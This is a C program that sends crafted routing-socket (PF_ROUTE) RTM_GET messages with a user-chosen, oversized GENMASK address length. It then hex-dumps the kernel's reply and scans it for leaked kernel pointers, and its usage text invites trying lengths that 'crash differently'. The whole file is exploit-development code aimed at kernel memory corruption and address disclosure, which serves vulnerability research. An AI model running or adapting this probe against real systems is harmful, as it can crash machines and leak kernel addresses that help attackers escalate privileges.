#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define RTM_VERSION 5
#define RTM_GET     4
#define RTM_ADD     1

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};
struct rt_msghdr {
    unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
    unsigned short rtm_index; int rtm_flags; int rtm_addrs;
    int rtm_pid; int rtm_seq; int rtm_errno;
    int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGPIPE, SIG_IGN);

    if (argc < 2) {
        printf("Usage: %s <sa_len>\n  Try values 4-128 to see which crash differently\n");
        return 1;
    }
    int gm_len = atoi(argv[1]);

    printf("Testing GENMASK with sa_len=%d\n", gm_len);

    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) { printf("socket fail\n"); return 1; }

    char buf[2048];
    memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = RTM_GET;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = 0x09;

    int off = sizeof(*rtm);
    struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
    dst->sin_family = AF_INET;
    dst->sin_len = sizeof(*dst);
    dst->sin_addr.s_addr = inet_addr("8.8.8.8");
    off += sizeof(*dst);

    buf[off] = gm_len;
    buf[off+1] = AF_INET;
    memset(buf+off+2, 0xFF, gm_len > 2 ? gm_len - 2 : 0);
    int padded = (gm_len + 3) & ~3;
    if (padded < 4) padded = 4;
    off += padded;

    rtm->rtm_msglen = off;
    printf("msglen=%d, writing...\n", rtm->rtm_msglen);

    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    printf("write=%zd errno=%d\n", s, s < 0 ? errno : 0);
    if (s > 0) {
        ssize_t r = read(fd, buf, sizeof(buf));
        printf("read=%zd\n", r);
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf("resp type=%u errno=%d addrs=0x%x\n",
                resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
            printf("full hex (%zd):\n", r);
            for (int i = 0; i < r && i < 512; i++) {
                printf("%02x", (unsigned char)buf[i]);
                if ((i+1)%32 == 0) printf("\n");
            }
            printf("\n");
            for (int i = 0; i+7 < r; i += 4) {
                uint64_t v = *(uint64_t*)(buf+i);
                if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe)
                    printf("POSSIBLE KPTR at +%d: 0x%016llx\n", i, v);
            }
        }
    }
    close(fd);
    printf("SURVIVED\n");
    return 0;
}
